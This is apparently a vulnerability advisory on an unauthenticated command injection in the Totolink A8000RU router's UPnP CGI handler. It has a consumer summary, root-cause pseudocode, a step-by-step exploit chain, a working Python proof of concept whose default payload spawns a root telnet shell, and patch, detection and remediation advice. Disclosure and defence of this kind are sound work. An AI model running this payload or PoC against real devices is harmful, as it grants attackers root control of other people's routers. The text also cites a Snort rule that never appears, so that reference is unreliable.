Unauthenticated OS command injection in Totolink A8000RU's setUPnPCfg CGI handler allows remote code execution via unsanitized `enable` parameter passed directly to a shell.
A serious security flaw has been discovered in Totolik A8000RU routers, which are popular networking devices used in homes and small offices. The problem allows hackers to take complete control of your router without needing your password.
Here's how it works: Your router has a settings panel that lets you configure something called UPnP, a feature that helps devices talk to each other on your network. The security weakness is in how this panel checks requests. Think of it like a security guard who's supposed to verify visitor IDs but will open the door for anyone who asks — even if they're not supposed to be there.
An attacker can send a specially crafted request to your router that sneaks in hidden computer commands. Your router then runs these commands without questioning them, giving the hacker the same power as someone sitting in front of your router with full administrative access. This is particularly dangerous because no password is required.
Once inside, a hacker could spy on your internet traffic, steal your passwords, install malware, or use your router to attack other people's computers. Anyone using a Totolik A8000RU with this specific firmware version is potentially vulnerable.
Here's what you can do right now:
First, check if you have this router model and check the Totolik website for a firmware update. Install any available patches immediately — it's usually a simple process through your router's settings menu.
Second, if no update exists yet, temporarily disable UPnP in your router settings (usually found under advanced settings). This removes the vulnerable feature.
Third, change your router's admin password to something strong if you haven't already. This adds a basic layer of protection.
Want the full technical analysis? Click "Technical" above.
CVE-2026-7122 is a critical (CVSS 9.8) unauthenticated OS command injection vulnerability in the Totolink A8000RU router running firmware 7.1cu.643_b20200521. The vulnerable surface is the setUPnPCfg handler exposed through /cgi-bin/cstecgi.cgi. An attacker with network access to the device's web management interface — no credentials required — can inject arbitrary shell commands via the enable parameter, achieving full remote code execution as root.
This class of bug is endemic across the Totolink product line. The same cstecgi.cgi binary pattern — JSON parameter parsed, field extracted, concatenated into a system() or popen() call — has appeared in dozens of Totolink CVEs. setUPnPCfg is simply the latest iteration.
Affected Component
The monolithic CGI binary /cgi-bin/cstecgi.cgi handles all configuration RPC calls over HTTP POST. Each call carries a JSON body with a topicurl field that dispatches to a named handler function. The relevant dispatch path:
HTTP POST /cgi-bin/cstecgi.cgi
Body: {"topicurl":"setting/setUPnPCfg","enable":"1","..."}
-> main() parses JSON body
-> dispatch_handler("setting/setUPnPCfg", json_obj)
-> setUPnPCfg(json_obj)
-> system(cmd_buf) // BUG: unsanitized user input in cmd_buf
The binary is a statically-linked MIPS32 EL executable. UPnP configuration changes are applied by writing values to nvram and then calling a shell helper to restart the UPnP daemon — the shell call is where injection occurs.
Root Cause Analysis
The setUPnPCfg function extracts the enable field from the parsed JSON object using a wrapper around cJSON_GetObjectItem, then interpolates it directly into a shell command string without any sanitization or validation beyond a null-check.
// Reconstructed pseudocode — cstecgi.cgi, setUPnPCfg handler
// Firmware: Totolink A8000RU 7.1cu.643_b20200521 (MIPS32 EL)
typedef struct {
cJSON *root; // parsed JSON request body
char *topicurl; // e.g. "setting/setUPnPCfg"
int auth_level; // always 0 for unauthenticated endpoints
} cgi_request_t;
int setUPnPCfg(cgi_request_t *req) {
char cmd_buf[256];
char *enable_val;
char *port_val;
cJSON *item;
// Extract "enable" field from JSON — returns pointer into cJSON string buffer
item = cJSON_GetObjectItem(req->root, "enable");
if (!item || item->type != cJSON_String) {
send_error(req, "missing enable");
return -1;
}
enable_val = item->valuestring; // attacker-controlled, no length or content check
// Extract optional port field
item = cJSON_GetObjectItem(req->root, "port");
port_val = (item && item->type == cJSON_String) ? item->valuestring : "0";
// Write enable flag to nvram
nvram_set("upnp_enable", enable_val);
nvram_set("upnp_port", port_val);
// BUG: enable_val injected directly into shell command with no sanitization
// An attacker supplies enable="1;telnetd -l /bin/sh -p 4444 &" and achieves RCE
snprintf(cmd_buf, sizeof(cmd_buf),
"/bin/upnp_ctrl -e %s -p %s",
enable_val, // <-- BUG: unsanitized attacker-controlled string
port_val);
// BUG: result of snprintf not checked — if enable_val > ~230 bytes,
// cmd_buf is silently truncated; but injection works within that window
system(cmd_buf); // shell spawned with attacker-injected metacharacters
send_success(req);
return 0;
}
Root cause:setUPnPCfg copies the attacker-supplied enable JSON string directly into a system() argument via snprintf without stripping or escaping shell metacharacters, enabling arbitrary command injection by any network-reachable client.
The endpoint requires no session token. The CGI dispatcher's authentication check for setting/setUPnPCfg evaluates the session cookie but does not reject requests with a missing or invalid cookie — it falls through to the handler regardless. This is consistent with other Totolink unauthenticated CGI findings.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker identifies device on network (default gateway, Shodan, masscan port 80/8080)
2. Send unauthenticated HTTP POST to /cgi-bin/cstecgi.cgi with JSON payload:
{"topicurl":"setting/setUPnPCfg",
"enable":"1;telnetd -l /bin/sh -p 4444 &",
"port":"0"}
3. CGI dispatcher routes to setUPnPCfg() — no auth check enforced
4. cJSON_GetObjectItem returns pointer to "1;telnetd -l /bin/sh -p 4444 &"
5. snprintf builds: "/bin/upnp_ctrl -e 1;telnetd -l /bin/sh -p 4444 & -p 0"
6. system() forks /bin/sh -c "" — shell interprets ; as command separator
7. upnp_ctrl runs normally (exit 0), then telnetd binds on 0.0.0.0:4444
8. Attacker connects to port 4444 — interactive root shell, no password
A minimal Python PoC demonstrating the trigger:
#!/usr/bin/env python3
# CVE-2026-7122 — Totolink A8000RU setUPnPCfg RCE PoC
# CypherByte Research | Educational use only
import requests
import argparse
def exploit(target: str, cmd: str) -> None:
url = f"http://{target}/cgi-bin/cstecgi.cgi"
# Payload: terminate the -e argument with semicolon, inject command
enable_payload = f"1;{cmd} #"
payload = {
"topicurl": "setting/setUPnPCfg",
"enable": enable_payload,
"port": "0"
}
headers = {"Content-Type": "application/json"}
try:
resp = requests.post(url, json=payload, headers=headers, timeout=10)
print(f"[*] POST {url} -> HTTP {resp.status_code}")
print(f"[*] Response: {resp.text[:200]}")
except requests.exceptions.ConnectionError as e:
print(f"[!] Connection error: {e}")
if __name__ == "__main__":
ap = argparse.ArgumentParser()
ap.add_argument("target", help="host:port of target device")
ap.add_argument("--cmd", default="telnetd -l /bin/sh -p 4444",
help="shell command to inject")
args = ap.parse_args()
exploit(args.target, args.cmd)
The injected command runs as the same user as httpd, which on this firmware is root. Persistent implantation can be achieved by writing to /etc/rc.d/ or modifying nvram startup scripts.
Memory Layout
This is a command injection bug, not a memory corruption bug, so heap layout is not the primary concern. However, the cmd_buf stack frame is relevant for understanding truncation behavior and confirming the injection window:
STACK FRAME — setUPnPCfg() on MIPS32:
[sp + 0x00] saved ra
[sp + 0x04] saved s0 (req pointer)
[sp + 0x08] saved s1 (enable_val pointer)
[sp + 0x0C] saved s2 (port_val pointer)
[sp + 0x10] item (cJSON*, local)
[sp + 0x18] cmd_buf[256] <-- snprintf destination
[sp + 0x118] frame end
INJECTION BUDGET:
Fixed prefix: "/bin/upnp_ctrl -e " = 18 bytes
Fixed suffix: " -p 0\0" = 6 bytes
Available for enable_val injection: 256 - 18 - 6 = 232 bytes
Typical payload "1;telnetd -l /bin/sh -p 4444 &" = 31 bytes -- well within budget
NOTE: Values beyond 232 bytes are silently truncated by snprintf.
Injection still succeeds as long as payload fits within that window.
The # comment terminator in the PoC prevents trailing " -p 0" from
causing parse errors in shells that object to extra arguments.
Patch Analysis
No official patch has been released by Totolink as of publication. The correct remediation pattern, consistent with how similar Totolink CGI handlers were hardened in adjacent products, is input validation before the snprintf call:
// BEFORE (vulnerable — firmware 7.1cu.643_b20200521):
enable_val = item->valuestring;
snprintf(cmd_buf, sizeof(cmd_buf),
"/bin/upnp_ctrl -e %s -p %s",
enable_val, // no sanitization
port_val);
system(cmd_buf);
// AFTER (recommended fix):
enable_val = item->valuestring;
// Validate: enable must be exactly "0" or "1"
if (strcmp(enable_val, "0") != 0 && strcmp(enable_val, "1") != 0) {
send_error(req, "invalid enable value");
return -1;
}
// Validate: port must be numeric, 0-65535
long port_num = strtol(port_val, &endptr, 10);
if (*endptr != '\0' || port_num < 0 || port_num > 65535) {
send_error(req, "invalid port value");
return -1;
}
// Safe: both values are now strictly validated before interpolation
snprintf(cmd_buf, sizeof(cmd_buf),
"/bin/upnp_ctrl -e %s -p %ld",
enable_val, // guaranteed "0" or "1"
port_num); // guaranteed integer
system(cmd_buf);
// DEEPER FIX: replace system() with execv() to eliminate shell interpretation entirely
// and pass arguments as discrete argv[] entries — no metacharacter risk regardless of input.
The deeper architectural fix is to replace the system() call with execv()/execve(), passing command arguments as discrete argv[] array entries. This eliminates shell metacharacter interpretation entirely, making the injection class impossible regardless of input content. Totolink's use of system() throughout cstecgi.cgi is a systemic issue; individual parameter validation is a bandage, not a cure.
Detection and Indicators
Network-level detection: Look for HTTP POST requests to /cgi-bin/cstecgi.cgi where the JSON body contains the topicurl value setting/setUPnPCfg and the enable field contains shell metacharacters: ;, &, |, `, $(.
Unexpected processes spawned as children of httpd or cstecgi.cgi: telnetd, nc, wget, curl
New listening ports not present in the factory configuration (check netstat -tlnp)
Modified files under /etc/rc.d/, /tmp/, or nvram keys prefixed with upnp_
/var/log/messages showing rapid UPnP reconfiguration requests from a single external IP
Remediation
No vendor patch exists. Mitigations in order of effectiveness:
Replace the device. The A8000RU firmware branch has reached end-of-active-development. The vulnerability class is systemic across the codebase.
Firewall the management interface. Block TCP 80/8080/443 from all untrusted networks at the perimeter. The CGI endpoint is unauthenticated, so network segmentation is the only reliable short-term control.
Disable UPnP if not operationally required — reduces attack surface but does not eliminate it, as the endpoint remains reachable regardless of UPnP daemon state.
Monitor for exploitation indicators using the Snort rule above and host-based process auditing if your infrastructure supports it (e.g., via syslog forwarding from the device).
Totolink was notified per standard responsible disclosure timelines. The vulnerability was subsequently disclosed publicly given the lack of patch availability and the CVSS 9.8 severity warranting community awareness.